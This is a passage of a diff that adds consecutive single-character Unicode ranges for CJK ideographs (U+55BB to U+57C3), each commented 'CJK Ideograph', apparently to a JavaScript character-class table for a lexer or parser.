+ ["\u55BB", "\u55BB"], /* CJK Ideograph */
+ ["\u55BC", "\u55BC"], /* CJK Ideograph */
+ ["\u55BD", "\u55BD"], /* CJK Ideograph */
+ ["\u55BE", "\u55BE"], /* CJK Ideograph */
+ ["\u55BF", "\u55BF"], /* CJK Ideograph */
+ ["\u55C0", "\u55C0"], /* CJK Ideograph */
+ ["\u55C1", "\u55C1"], /* CJK Ideograph */
+ ["\u55C2", "\u55C2"], /* CJK Ideograph */
+ ["\u55C3", "\u55C3"], /* CJK Ideograph */
+ ["\u55C4", "\u55C4"], /* CJK Ideograph */
+ ["\u55C5", "\u55C5"], /* CJK Ideograph */
+ ["\u55C6", "\u55C6"], /* CJK Ideograph */
+ ["\u55C7", "\u55C7"], /* CJK Ideograph */
+ ["\u55C8", "\u55C8"], /* CJK Ideograph */
+ ["\u55C9", "\u55C9"], /* CJK Ideograph */
+ ["\u55CA", "\u55CA"], /* CJK Ideograph */
+ ["\u55CB", "\u55CB"], /* CJK Ideograph */
+ ["\u55CC", "\u55CC"], /* CJK Ideograph */
+ ["\u55CD", "\u55CD"], /* CJK Ideograph */
+ ["\u55CE", "\u55CE"], /* CJK Ideograph */
+ ["\u55CF", "\u55CF"], /* CJK Ideograph */
+ ["\u55D0", "\u55D0"], /* CJK Ideograph */
+ ["\u55D1", "\u55D1"], /* CJK Ideograph */
+ ["\u55D2", "\u55D2"], /* CJK Ideograph */
+ ["\u55D3", "\u55D3"], /* CJK Ideograph */
+ ["\u55D4", "\u55D4"], /* CJK Ideograph */
+ ["\u55D5", "\u55D5"], /* CJK Ideograph */
+ ["\u55D6", "\u55D6"], /* CJK Ideograph */
+ ["\u55D7", "\u55D7"], /* CJK Ideograph */
+ ["\u55D8", "\u55D8"], /* CJK Ideograph */
+ ["\u55D9", "\u55D9"], /* CJK Ideograph */
+ ["\u55DA", "\u55DA"], /* CJK Ideograph */
+ ["\u55DB", "\u55DB"], /* CJK Ideograph */
+ ["\u55DC", "\u55DC"], /* CJK Ideograph */
+ ["\u55DD", "\u55DD"], /* CJK Ideograph */
+ ["\u55DE", "\u55DE"], /* CJK Ideograph */
+ ["\u55DF", "\u55DF"], /* CJK Ideograph */
+ ["\u55E0", "\u55E0"], /* CJK Ideograph */
+ ["\u55E1", "\u55E1"], /* CJK Ideograph */
+ ["\u55E2", "\u55E2"], /* CJK Ideograph */
+ ["\u55E3", "\u55E3"], /* CJK Ideograph */
+ ["\u55E4", "\u55E4"], /* CJK Ideograph */
+ ["\u55E5", "\u55E5"], /* CJK Ideograph */
+ ["\u55E6", "\u55E6"], /* CJK Ideograph */
+ ["\u55E7", "\u55E7"], /* CJK Ideograph */
+ ["\u55E8", "\u55E8"], /* CJK Ideograph */
+ ["\u55E9", "\u55E9"], /* CJK Ideograph */
+ ["\u55EA", "\u55EA"], /* CJK Ideograph */
+ ["\u55EB", "\u55EB"], /* CJK Ideograph */
+ ["\u55EC", "\u55EC"], /* CJK Ideograph */
+ ["\u55ED", "\u55ED"], /* CJK Ideograph */
+ ["\u55EE", "\u55EE"], /* CJK Ideograph */
+ ["\u55EF", "\u55EF"], /* CJK Ideograph */
+ ["\u55F0", "\u55F0"], /* CJK Ideograph */
+ ["\u55F1", "\u55F1"], /* CJK Ideograph */
+ ["\u55F2", "\u55F2"], /* CJK Ideograph */
+ ["\u55F3", "\u55F3"], /* CJK Ideograph */
+ ["\u55F4", "\u55F4"], /* CJK Ideograph */
+ ["\u55F5", "\u55F5"], /* CJK Ideograph */
+ ["\u55F6", "\u55F6"], /* CJK Ideograph */
+ ["\u55F7", "\u55F7"], /* CJK Ideograph */
+ ["\u55F8", "\u55F8"], /* CJK Ideograph */
+ ["\u55F9", "\u55F9"], /* CJK Ideograph */
+ ["\u55FA", "\u55FA"], /* CJK Ideograph */
+ ["\u55FB", "\u55FB"], /* CJK Ideograph */
+ ["\u55FC", "\u55FC"], /* CJK Ideograph */
+ ["\u55FD", "\u55FD"], /* CJK Ideograph */
+ ["\u55FE", "\u55FE"], /* CJK Ideograph */
+ ["\u55FF", "\u55FF"], /* CJK Ideograph */
+ ["\u5600", "\u5600"], /* CJK Ideograph */
+ ["\u5601", "\u5601"], /* CJK Ideograph */
+ ["\u5602", "\u5602"], /* CJK Ideograph */
+ ["\u5603", "\u5603"], /* CJK Ideograph */
+ ["\u5604", "\u5604"], /* CJK Ideograph */
+ ["\u5605", "\u5605"], /* CJK Ideograph */
+ ["\u5606", "\u5606"], /* CJK Ideograph */
+ ["\u5607", "\u5607"], /* CJK Ideograph */
+ ["\u5608", "\u5608"], /* CJK Ideograph */
+ ["\u5609", "\u5609"], /* CJK Ideograph */
+ ["\u560A", "\u560A"], /* CJK Ideograph */
+ ["\u560B", "\u560B"], /* CJK Ideograph */
+ ["\u560C", "\u560C"], /* CJK Ideograph */
+ ["\u560D", "\u560D"], /* CJK Ideograph */
+ ["\u560E", "\u560E"], /* CJK Ideograph */
+ ["\u560F", "\u560F"], /* CJK Ideograph */
+ ["\u5610", "\u5610"], /* CJK Ideograph */
+ ["\u5611", "\u5611"], /* CJK Ideograph */
+ ["\u5612", "\u5612"], /* CJK Ideograph */
+ ["\u5613", "\u5613"], /* CJK Ideograph */
+ ["\u5614", "\u5614"], /* CJK Ideograph */
+ ["\u5615", "\u5615"], /* CJK Ideograph */
+ ["\u5616", "\u5616"], /* CJK Ideograph */
+ ["\u5617", "\u5617"], /* CJK Ideograph */
+ ["\u5618", "\u5618"], /* CJK Ideograph */
+ ["\u5619", "\u5619"], /* CJK Ideograph */
+ ["\u561A", "\u561A"], /* CJK Ideograph */
+ ["\u561B", "\u561B"], /* CJK Ideograph */
+ ["\u561C", "\u561C"], /* CJK Ideograph */
+ ["\u561D", "\u561D"], /* CJK Ideograph */
+ ["\u561E", "\u561E"], /* CJK Ideograph */
+ ["\u561F", "\u561F"], /* CJK Ideograph */
+ ["\u5620", "\u5620"], /* CJK Ideograph */
+ ["\u5621", "\u5621"], /* CJK Ideograph */
+ ["\u5622", "\u5622"], /* CJK Ideograph */
+ ["\u5623", "\u5623"], /* CJK Ideograph */
+ ["\u5624", "\u5624"], /* CJK Ideograph */
+ ["\u5625", "\u5625"], /* CJK Ideograph */
+ ["\u5626", "\u5626"], /* CJK Ideograph */
+ ["\u5627", "\u5627"], /* CJK Ideograph */
+ ["\u5628", "\u5628"], /* CJK Ideograph */
+ ["\u5629", "\u5629"], /* CJK Ideograph */
+ ["\u562A", "\u562A"], /* CJK Ideograph */
+ ["\u562B", "\u562B"], /* CJK Ideograph */
+ ["\u562C", "\u562C"], /* CJK Ideograph */
+ ["\u562D", "\u562D"], /* CJK Ideograph */
+ ["\u562E", "\u562E"], /* CJK Ideograph */
+ ["\u562F", "\u562F"], /* CJK Ideograph */
+ ["\u5630", "\u5630"], /* CJK Ideograph */
+ ["\u5631", "\u5631"], /* CJK Ideograph */
+ ["\u5632", "\u5632"], /* CJK Ideograph */
+ ["\u5633", "\u5633"], /* CJK Ideograph */
+ ["\u5634", "\u5634"], /* CJK Ideograph */
+ ["\u5635", "\u5635"], /* CJK Ideograph */
+ ["\u5636", "\u5636"], /* CJK Ideograph */
+ ["\u5637", "\u5637"], /* CJK Ideograph */
+ ["\u5638", "\u5638"], /* CJK Ideograph */
+ ["\u5639", "\u5639"], /* CJK Ideograph */
+ ["\u563A", "\u563A"], /* CJK Ideograph */
+ ["\u563B", "\u563B"], /* CJK Ideograph */
+ ["\u563C", "\u563C"], /* CJK Ideograph */
+ ["\u563D", "\u563D"], /* CJK Ideograph */
+ ["\u563E", "\u563E"], /* CJK Ideograph */
+ ["\u563F", "\u563F"], /* CJK Ideograph */
+ ["\u5640", "\u5640"], /* CJK Ideograph */
+ ["\u5641", "\u5641"], /* CJK Ideograph */
+ ["\u5642", "\u5642"], /* CJK Ideograph */
+ ["\u5643", "\u5643"], /* CJK Ideograph */
+ ["\u5644", "\u5644"], /* CJK Ideograph */
+ ["\u5645", "\u5645"], /* CJK Ideograph */
+ ["\u5646", "\u5646"], /* CJK Ideograph */
+ ["\u5647", "\u5647"], /* CJK Ideograph */
+ ["\u5648", "\u5648"], /* CJK Ideograph */
+ ["\u5649", "\u5649"], /* CJK Ideograph */
+ ["\u564A", "\u564A"], /* CJK Ideograph */
+ ["\u564B", "\u564B"], /* CJK Ideograph */
+ ["\u564C", "\u564C"], /* CJK Ideograph */
+ ["\u564D", "\u564D"], /* CJK Ideograph */
+ ["\u564E", "\u564E"], /* CJK Ideograph */
+ ["\u564F", "\u564F"], /* CJK Ideograph */
+ ["\u5650", "\u5650"], /* CJK Ideograph */
+ ["\u5651", "\u5651"], /* CJK Ideograph */
+ ["\u5652", "\u5652"], /* CJK Ideograph */
+ ["\u5653", "\u5653"], /* CJK Ideograph */
+ ["\u5654", "\u5654"], /* CJK Ideograph */
+ ["\u5655", "\u5655"], /* CJK Ideograph */
+ ["\u5656", "\u5656"], /* CJK Ideograph */
+ ["\u5657", "\u5657"], /* CJK Ideograph */
+ ["\u5658", "\u5658"], /* CJK Ideograph */
+ ["\u5659", "\u5659"], /* CJK Ideograph */
+ ["\u565A", "\u565A"], /* CJK Ideograph */
+ ["\u565B", "\u565B"], /* CJK Ideograph */
+ ["\u565C", "\u565C"], /* CJK Ideograph */
+ ["\u565D", "\u565D"], /* CJK Ideograph */
+ ["\u565E", "\u565E"], /* CJK Ideograph */
+ ["\u565F", "\u565F"], /* CJK Ideograph */
+ ["\u5660", "\u5660"], /* CJK Ideograph */
+ ["\u5661", "\u5661"], /* CJK Ideograph */
+ ["\u5662", "\u5662"], /* CJK Ideograph */
+ ["\u5663", "\u5663"], /* CJK Ideograph */
+ ["\u5664", "\u5664"], /* CJK Ideograph */
+ ["\u5665", "\u5665"], /* CJK Ideograph */
+ ["\u5666", "\u5666"], /* CJK Ideograph */
+ ["\u5667", "\u5667"], /* CJK Ideograph */
+ ["\u5668", "\u5668"], /* CJK Ideograph */
+ ["\u5669", "\u5669"], /* CJK Ideograph */
+ ["\u566A", "\u566A"], /* CJK Ideograph */
+ ["\u566B", "\u566B"], /* CJK Ideograph */
+ ["\u566C", "\u566C"], /* CJK Ideograph */
+ ["\u566D", "\u566D"], /* CJK Ideograph */
+ ["\u566E", "\u566E"], /* CJK Ideograph */
+ ["\u566F", "\u566F"], /* CJK Ideograph */
+ ["\u5670", "\u5670"], /* CJK Ideograph */
+ ["\u5671", "\u5671"], /* CJK Ideograph */
+ ["\u5672", "\u5672"], /* CJK Ideograph */
+ ["\u5673", "\u5673"], /* CJK Ideograph */
+ ["\u5674", "\u5674"], /* CJK Ideograph */
+ ["\u5675", "\u5675"], /* CJK Ideograph */
+ ["\u5676", "\u5676"], /* CJK Ideograph */
+ ["\u5677", "\u5677"], /* CJK Ideograph */
+ ["\u5678", "\u5678"], /* CJK Ideograph */
+ ["\u5679", "\u5679"], /* CJK Ideograph */
+ ["\u567A", "\u567A"], /* CJK Ideograph */
+ ["\u567B", "\u567B"], /* CJK Ideograph */
+ ["\u567C", "\u567C"], /* CJK Ideograph */
+ ["\u567D", "\u567D"], /* CJK Ideograph */
+ ["\u567E", "\u567E"], /* CJK Ideograph */
+ ["\u567F", "\u567F"], /* CJK Ideograph */
+ ["\u5680", "\u5680"], /* CJK Ideograph */
+ ["\u5681", "\u5681"], /* CJK Ideograph */
+ ["\u5682", "\u5682"], /* CJK Ideograph */
+ ["\u5683", "\u5683"], /* CJK Ideograph */
+ ["\u5684", "\u5684"], /* CJK Ideograph */
+ ["\u5685", "\u5685"], /* CJK Ideograph */
+ ["\u5686", "\u5686"], /* CJK Ideograph */
+ ["\u5687", "\u5687"], /* CJK Ideograph */
+ ["\u5688", "\u5688"], /* CJK Ideograph */
+ ["\u5689", "\u5689"], /* CJK Ideograph */
+ ["\u568A", "\u568A"], /* CJK Ideograph */
+ ["\u568B", "\u568B"], /* CJK Ideograph */
+ ["\u568C", "\u568C"], /* CJK Ideograph */
+ ["\u568D", "\u568D"], /* CJK Ideograph */
+ ["\u568E", "\u568E"], /* CJK Ideograph */
+ ["\u568F", "\u568F"], /* CJK Ideograph */
+ ["\u5690", "\u5690"], /* CJK Ideograph */
+ ["\u5691", "\u5691"], /* CJK Ideograph */
+ ["\u5692", "\u5692"], /* CJK Ideograph */
+ ["\u5693", "\u5693"], /* CJK Ideograph */
+ ["\u5694", "\u5694"], /* CJK Ideograph */
+ ["\u5695", "\u5695"], /* CJK Ideograph */
+ ["\u5696", "\u5696"], /* CJK Ideograph */
+ ["\u5697", "\u5697"], /* CJK Ideograph */
+ ["\u5698", "\u5698"], /* CJK Ideograph */
+ ["\u5699", "\u5699"], /* CJK Ideograph */
+ ["\u569A", "\u569A"], /* CJK Ideograph */
+ ["\u569B", "\u569B"], /* CJK Ideograph */
+ ["\u569C", "\u569C"], /* CJK Ideograph */
+ ["\u569D", "\u569D"], /* CJK Ideograph */
+ ["\u569E", "\u569E"], /* CJK Ideograph */
+ ["\u569F", "\u569F"], /* CJK Ideograph */
+ ["\u56A0", "\u56A0"], /* CJK Ideograph */
+ ["\u56A1", "\u56A1"], /* CJK Ideograph */
+ ["\u56A2", "\u56A2"], /* CJK Ideograph */
+ ["\u56A3", "\u56A3"], /* CJK Ideograph */
+ ["\u56A4", "\u56A4"], /* CJK Ideograph */
+ ["\u56A5", "\u56A5"], /* CJK Ideograph */
+ ["\u56A6", "\u56A6"], /* CJK Ideograph */
+ ["\u56A7", "\u56A7"], /* CJK Ideograph */
+ ["\u56A8", "\u56A8"], /* CJK Ideograph */
+ ["\u56A9", "\u56A9"], /* CJK Ideograph */
+ ["\u56AA", "\u56AA"], /* CJK Ideograph */
+ ["\u56AB", "\u56AB"], /* CJK Ideograph */
+ ["\u56AC", "\u56AC"], /* CJK Ideograph */
+ ["\u56AD", "\u56AD"], /* CJK Ideograph */
+ ["\u56AE", "\u56AE"], /* CJK Ideograph */
+ ["\u56AF", "\u56AF"], /* CJK Ideograph */
+ ["\u56B0", "\u56B0"], /* CJK Ideograph */
+ ["\u56B1", "\u56B1"], /* CJK Ideograph */
+ ["\u56B2", "\u56B2"], /* CJK Ideograph */
+ ["\u56B3", "\u56B3"], /* CJK Ideograph */
+ ["\u56B4", "\u56B4"], /* CJK Ideograph */
+ ["\u56B5", "\u56B5"], /* CJK Ideograph */
+ ["\u56B6", "\u56B6"], /* CJK Ideograph */
+ ["\u56B7", "\u56B7"], /* CJK Ideograph */
+ ["\u56B8", "\u56B8"], /* CJK Ideograph */
+ ["\u56B9", "\u56B9"], /* CJK Ideograph */
+ ["\u56BA", "\u56BA"], /* CJK Ideograph */
+ ["\u56BB", "\u56BB"], /* CJK Ideograph */
+ ["\u56BC", "\u56BC"], /* CJK Ideograph */
+ ["\u56BD", "\u56BD"], /* CJK Ideograph */
+ ["\u56BE", "\u56BE"], /* CJK Ideograph */
+ ["\u56BF", "\u56BF"], /* CJK Ideograph */
+ ["\u56C0", "\u56C0"], /* CJK Ideograph */
+ ["\u56C1", "\u56C1"], /* CJK Ideograph */
+ ["\u56C2", "\u56C2"], /* CJK Ideograph */
+ ["\u56C3", "\u56C3"], /* CJK Ideograph */
+ ["\u56C4", "\u56C4"], /* CJK Ideograph */
+ ["\u56C5", "\u56C5"], /* CJK Ideograph */
+ ["\u56C6", "\u56C6"], /* CJK Ideograph */
+ ["\u56C7", "\u56C7"], /* CJK Ideograph */
+ ["\u56C8", "\u56C8"], /* CJK Ideograph */
+ ["\u56C9", "\u56C9"], /* CJK Ideograph */
+ ["\u56CA", "\u56CA"], /* CJK Ideograph */
+ ["\u56CB", "\u56CB"], /* CJK Ideograph */
+ ["\u56CC", "\u56CC"], /* CJK Ideograph */
+ ["\u56CD", "\u56CD"], /* CJK Ideograph */
+ ["\u56CE", "\u56CE"], /* CJK Ideograph */
+ ["\u56CF", "\u56CF"], /* CJK Ideograph */
+ ["\u56D0", "\u56D0"], /* CJK Ideograph */
+ ["\u56D1", "\u56D1"], /* CJK Ideograph */
+ ["\u56D2", "\u56D2"], /* CJK Ideograph */
+ ["\u56D3", "\u56D3"], /* CJK Ideograph */
+ ["\u56D4", "\u56D4"], /* CJK Ideograph */
+ ["\u56D5", "\u56D5"], /* CJK Ideograph */
+ ["\u56D6", "\u56D6"], /* CJK Ideograph */
+ ["\u56D7", "\u56D7"], /* CJK Ideograph */
+ ["\u56D8", "\u56D8"], /* CJK Ideograph */
+ ["\u56D9", "\u56D9"], /* CJK Ideograph */
+ ["\u56DA", "\u56DA"], /* CJK Ideograph */
+ ["\u56DB", "\u56DB"], /* CJK Ideograph */
+ ["\u56DC", "\u56DC"], /* CJK Ideograph */
+ ["\u56DD", "\u56DD"], /* CJK Ideograph */
+ ["\u56DE", "\u56DE"], /* CJK Ideograph */
+ ["\u56DF", "\u56DF"], /* CJK Ideograph */
+ ["\u56E0", "\u56E0"], /* CJK Ideograph */
+ ["\u56E1", "\u56E1"], /* CJK Ideograph */
+ ["\u56E2", "\u56E2"], /* CJK Ideograph */
+ ["\u56E3", "\u56E3"], /* CJK Ideograph */
+ ["\u56E4", "\u56E4"], /* CJK Ideograph */
+ ["\u56E5", "\u56E5"], /* CJK Ideograph */
+ ["\u56E6", "\u56E6"], /* CJK Ideograph */
+ ["\u56E7", "\u56E7"], /* CJK Ideograph */
+ ["\u56E8", "\u56E8"], /* CJK Ideograph */
+ ["\u56E9", "\u56E9"], /* CJK Ideograph */
+ ["\u56EA", "\u56EA"], /* CJK Ideograph */
+ ["\u56EB", "\u56EB"], /* CJK Ideograph */
+ ["\u56EC", "\u56EC"], /* CJK Ideograph */
+ ["\u56ED", "\u56ED"], /* CJK Ideograph */
+ ["\u56EE", "\u56EE"], /* CJK Ideograph */
+ ["\u56EF", "\u56EF"], /* CJK Ideograph */
+ ["\u56F0", "\u56F0"], /* CJK Ideograph */
+ ["\u56F1", "\u56F1"], /* CJK Ideograph */
+ ["\u56F2", "\u56F2"], /* CJK Ideograph */
+ ["\u56F3", "\u56F3"], /* CJK Ideograph */
+ ["\u56F4", "\u56F4"], /* CJK Ideograph */
+ ["\u56F5", "\u56F5"], /* CJK Ideograph */
+ ["\u56F6", "\u56F6"], /* CJK Ideograph */
+ ["\u56F7", "\u56F7"], /* CJK Ideograph */
+ ["\u56F8", "\u56F8"], /* CJK Ideograph */
+ ["\u56F9", "\u56F9"], /* CJK Ideograph */
+ ["\u56FA", "\u56FA"], /* CJK Ideograph */
+ ["\u56FB", "\u56FB"], /* CJK Ideograph */
+ ["\u56FC", "\u56FC"], /* CJK Ideograph */
+ ["\u56FD", "\u56FD"], /* CJK Ideograph */
+ ["\u56FE", "\u56FE"], /* CJK Ideograph */
+ ["\u56FF", "\u56FF"], /* CJK Ideograph */
+ ["\u5700", "\u5700"], /* CJK Ideograph */
+ ["\u5701", "\u5701"], /* CJK Ideograph */
+ ["\u5702", "\u5702"], /* CJK Ideograph */
+ ["\u5703", "\u5703"], /* CJK Ideograph */
+ ["\u5704", "\u5704"], /* CJK Ideograph */
+ ["\u5705", "\u5705"], /* CJK Ideograph */
+ ["\u5706", "\u5706"], /* CJK Ideograph */
+ ["\u5707", "\u5707"], /* CJK Ideograph */
+ ["\u5708", "\u5708"], /* CJK Ideograph */
+ ["\u5709", "\u5709"], /* CJK Ideograph */
+ ["\u570A", "\u570A"], /* CJK Ideograph */
+ ["\u570B", "\u570B"], /* CJK Ideograph */
+ ["\u570C", "\u570C"], /* CJK Ideograph */
+ ["\u570D", "\u570D"], /* CJK Ideograph */
+ ["\u570E", "\u570E"], /* CJK Ideograph */
+ ["\u570F", "\u570F"], /* CJK Ideograph */
+ ["\u5710", "\u5710"], /* CJK Ideograph */
+ ["\u5711", "\u5711"], /* CJK Ideograph */
+ ["\u5712", "\u5712"], /* CJK Ideograph */
+ ["\u5713", "\u5713"], /* CJK Ideograph */
+ ["\u5714", "\u5714"], /* CJK Ideograph */
+ ["\u5715", "\u5715"], /* CJK Ideograph */
+ ["\u5716", "\u5716"], /* CJK Ideograph */
+ ["\u5717", "\u5717"], /* CJK Ideograph */
+ ["\u5718", "\u5718"], /* CJK Ideograph */
+ ["\u5719", "\u5719"], /* CJK Ideograph */
+ ["\u571A", "\u571A"], /* CJK Ideograph */
+ ["\u571B", "\u571B"], /* CJK Ideograph */
+ ["\u571C", "\u571C"], /* CJK Ideograph */
+ ["\u571D", "\u571D"], /* CJK Ideograph */
+ ["\u571E", "\u571E"], /* CJK Ideograph */
+ ["\u571F", "\u571F"], /* CJK Ideograph */
+ ["\u5720", "\u5720"], /* CJK Ideograph */
+ ["\u5721", "\u5721"], /* CJK Ideograph */
+ ["\u5722", "\u5722"], /* CJK Ideograph */
+ ["\u5723", "\u5723"], /* CJK Ideograph */
+ ["\u5724", "\u5724"], /* CJK Ideograph */
+ ["\u5725", "\u5725"], /* CJK Ideograph */
+ ["\u5726", "\u5726"], /* CJK Ideograph */
+ ["\u5727", "\u5727"], /* CJK Ideograph */
+ ["\u5728", "\u5728"], /* CJK Ideograph */
+ ["\u5729", "\u5729"], /* CJK Ideograph */
+ ["\u572A", "\u572A"], /* CJK Ideograph */
+ ["\u572B", "\u572B"], /* CJK Ideograph */
+ ["\u572C", "\u572C"], /* CJK Ideograph */
+ ["\u572D", "\u572D"], /* CJK Ideograph */
+ ["\u572E", "\u572E"], /* CJK Ideograph */
+ ["\u572F", "\u572F"], /* CJK Ideograph */
+ ["\u5730", "\u5730"], /* CJK Ideograph */
+ ["\u5731", "\u5731"], /* CJK Ideograph */
+ ["\u5732", "\u5732"], /* CJK Ideograph */
+ ["\u5733", "\u5733"], /* CJK Ideograph */
+ ["\u5734", "\u5734"], /* CJK Ideograph */
+ ["\u5735", "\u5735"], /* CJK Ideograph */
+ ["\u5736", "\u5736"], /* CJK Ideograph */
+ ["\u5737", "\u5737"], /* CJK Ideograph */
+ ["\u5738", "\u5738"], /* CJK Ideograph */
+ ["\u5739", "\u5739"], /* CJK Ideograph */
+ ["\u573A", "\u573A"], /* CJK Ideograph */
+ ["\u573B", "\u573B"], /* CJK Ideograph */
+ ["\u573C", "\u573C"], /* CJK Ideograph */
+ ["\u573D", "\u573D"], /* CJK Ideograph */
+ ["\u573E", "\u573E"], /* CJK Ideograph */
+ ["\u573F", "\u573F"], /* CJK Ideograph */
+ ["\u5740", "\u5740"], /* CJK Ideograph */
+ ["\u5741", "\u5741"], /* CJK Ideograph */
+ ["\u5742", "\u5742"], /* CJK Ideograph */
+ ["\u5743", "\u5743"], /* CJK Ideograph */
+ ["\u5744", "\u5744"], /* CJK Ideograph */
+ ["\u5745", "\u5745"], /* CJK Ideograph */
+ ["\u5746", "\u5746"], /* CJK Ideograph */
+ ["\u5747", "\u5747"], /* CJK Ideograph */
+ ["\u5748", "\u5748"], /* CJK Ideograph */
+ ["\u5749", "\u5749"], /* CJK Ideograph */
+ ["\u574A", "\u574A"], /* CJK Ideograph */
+ ["\u574B", "\u574B"], /* CJK Ideograph */
+ ["\u574C", "\u574C"], /* CJK Ideograph */
+ ["\u574D", "\u574D"], /* CJK Ideograph */
+ ["\u574E", "\u574E"], /* CJK Ideograph */
+ ["\u574F", "\u574F"], /* CJK Ideograph */
+ ["\u5750", "\u5750"], /* CJK Ideograph */
+ ["\u5751", "\u5751"], /* CJK Ideograph */
+ ["\u5752", "\u5752"], /* CJK Ideograph */
+ ["\u5753", "\u5753"], /* CJK Ideograph */
+ ["\u5754", "\u5754"], /* CJK Ideograph */
+ ["\u5755", "\u5755"], /* CJK Ideograph */
+ ["\u5756", "\u5756"], /* CJK Ideograph */
+ ["\u5757", "\u5757"], /* CJK Ideograph */
+ ["\u5758", "\u5758"], /* CJK Ideograph */
+ ["\u5759", "\u5759"], /* CJK Ideograph */
+ ["\u575A", "\u575A"], /* CJK Ideograph */
+ ["\u575B", "\u575B"], /* CJK Ideograph */
+ ["\u575C", "\u575C"], /* CJK Ideograph */
+ ["\u575D", "\u575D"], /* CJK Ideograph */
+ ["\u575E", "\u575E"], /* CJK Ideograph */
+ ["\u575F", "\u575F"], /* CJK Ideograph */
+ ["\u5760", "\u5760"], /* CJK Ideograph */
+ ["\u5761", "\u5761"], /* CJK Ideograph */
+ ["\u5762", "\u5762"], /* CJK Ideograph */
+ ["\u5763", "\u5763"], /* CJK Ideograph */
+ ["\u5764", "\u5764"], /* CJK Ideograph */
+ ["\u5765", "\u5765"], /* CJK Ideograph */
+ ["\u5766", "\u5766"], /* CJK Ideograph */
+ ["\u5767", "\u5767"], /* CJK Ideograph */
+ ["\u5768", "\u5768"], /* CJK Ideograph */
+ ["\u5769", "\u5769"], /* CJK Ideograph */
+ ["\u576A", "\u576A"], /* CJK Ideograph */
+ ["\u576B", "\u576B"], /* CJK Ideograph */
+ ["\u576C", "\u576C"], /* CJK Ideograph */
+ ["\u576D", "\u576D"], /* CJK Ideograph */
+ ["\u576E", "\u576E"], /* CJK Ideograph */
+ ["\u576F", "\u576F"], /* CJK Ideograph */
+ ["\u5770", "\u5770"], /* CJK Ideograph */
+ ["\u5771", "\u5771"], /* CJK Ideograph */
+ ["\u5772", "\u5772"], /* CJK Ideograph */
+ ["\u5773", "\u5773"], /* CJK Ideograph */
+ ["\u5774", "\u5774"], /* CJK Ideograph */
+ ["\u5775", "\u5775"], /* CJK Ideograph */
+ ["\u5776", "\u5776"], /* CJK Ideograph */
+ ["\u5777", "\u5777"], /* CJK Ideograph */
+ ["\u5778", "\u5778"], /* CJK Ideograph */
+ ["\u5779", "\u5779"], /* CJK Ideograph */
+ ["\u577A", "\u577A"], /* CJK Ideograph */
+ ["\u577B", "\u577B"], /* CJK Ideograph */
+ ["\u577C", "\u577C"], /* CJK Ideograph */
+ ["\u577D", "\u577D"], /* CJK Ideograph */
+ ["\u577E", "\u577E"], /* CJK Ideograph */
+ ["\u577F", "\u577F"], /* CJK Ideograph */
+ ["\u5780", "\u5780"], /* CJK Ideograph */
+ ["\u5781", "\u5781"], /* CJK Ideograph */
+ ["\u5782", "\u5782"], /* CJK Ideograph */
+ ["\u5783", "\u5783"], /* CJK Ideograph */
+ ["\u5784", "\u5784"], /* CJK Ideograph */
+ ["\u5785", "\u5785"], /* CJK Ideograph */
+ ["\u5786", "\u5786"], /* CJK Ideograph */
+ ["\u5787", "\u5787"], /* CJK Ideograph */
+ ["\u5788", "\u5788"], /* CJK Ideograph */
+ ["\u5789", "\u5789"], /* CJK Ideograph */
+ ["\u578A", "\u578A"], /* CJK Ideograph */
+ ["\u578B", "\u578B"], /* CJK Ideograph */
+ ["\u578C", "\u578C"], /* CJK Ideograph */
+ ["\u578D", "\u578D"], /* CJK Ideograph */
+ ["\u578E", "\u578E"], /* CJK Ideograph */
+ ["\u578F", "\u578F"], /* CJK Ideograph */
+ ["\u5790", "\u5790"], /* CJK Ideograph */
+ ["\u5791", "\u5791"], /* CJK Ideograph */
+ ["\u5792", "\u5792"], /* CJK Ideograph */
+ ["\u5793", "\u5793"], /* CJK Ideograph */
+ ["\u5794", "\u5794"], /* CJK Ideograph */
+ ["\u5795", "\u5795"], /* CJK Ideograph */
+ ["\u5796", "\u5796"], /* CJK Ideograph */
+ ["\u5797", "\u5797"], /* CJK Ideograph */
+ ["\u5798", "\u5798"], /* CJK Ideograph */
+ ["\u5799", "\u5799"], /* CJK Ideograph */
+ ["\u579A", "\u579A"], /* CJK Ideograph */
+ ["\u579B", "\u579B"], /* CJK Ideograph */
+ ["\u579C", "\u579C"], /* CJK Ideograph */
+ ["\u579D", "\u579D"], /* CJK Ideograph */
+ ["\u579E", "\u579E"], /* CJK Ideograph */
+ ["\u579F", "\u579F"], /* CJK Ideograph */
+ ["\u57A0", "\u57A0"], /* CJK Ideograph */
+ ["\u57A1", "\u57A1"], /* CJK Ideograph */
+ ["\u57A2", "\u57A2"], /* CJK Ideograph */
+ ["\u57A3", "\u57A3"], /* CJK Ideograph */
+ ["\u57A4", "\u57A4"], /* CJK Ideograph */
+ ["\u57A5", "\u57A5"], /* CJK Ideograph */
+ ["\u57A6", "\u57A6"], /* CJK Ideograph */
+ ["\u57A7", "\u57A7"], /* CJK Ideograph */
+ ["\u57A8", "\u57A8"], /* CJK Ideograph */
+ ["\u57A9", "\u57A9"], /* CJK Ideograph */
+ ["\u57AA", "\u57AA"], /* CJK Ideograph */
+ ["\u57AB", "\u57AB"], /* CJK Ideograph */
+ ["\u57AC", "\u57AC"], /* CJK Ideograph */
+ ["\u57AD", "\u57AD"], /* CJK Ideograph */
+ ["\u57AE", "\u57AE"], /* CJK Ideograph */
+ ["\u57AF", "\u57AF"], /* CJK Ideograph */
+ ["\u57B0", "\u57B0"], /* CJK Ideograph */
+ ["\u57B1", "\u57B1"], /* CJK Ideograph */
+ ["\u57B2", "\u57B2"], /* CJK Ideograph */
+ ["\u57B3", "\u57B3"], /* CJK Ideograph */
+ ["\u57B4", "\u57B4"], /* CJK Ideograph */
+ ["\u57B5", "\u57B5"], /* CJK Ideograph */
+ ["\u57B6", "\u57B6"], /* CJK Ideograph */
+ ["\u57B7", "\u57B7"], /* CJK Ideograph */
+ ["\u57B8", "\u57B8"], /* CJK Ideograph */
+ ["\u57B9", "\u57B9"], /* CJK Ideograph */
+ ["\u57BA", "\u57BA"], /* CJK Ideograph */
+ ["\u57BB", "\u57BB"], /* CJK Ideograph */
+ ["\u57BC", "\u57BC"], /* CJK Ideograph */
+ ["\u57BD", "\u57BD"], /* CJK Ideograph */
+ ["\u57BE", "\u57BE"], /* CJK Ideograph */
+ ["\u57BF", "\u57BF"], /* CJK Ideograph */
+ ["\u57C0", "\u57C0"], /* CJK Ideograph */
+ ["\u57C1", "\u57C1"], /* CJK Ideograph */
+ ["\u57C2", "\u57C2"], /* CJK Ideograph */
+ ["\u57C3", "\u57C3"], /* CJK Ideograph */
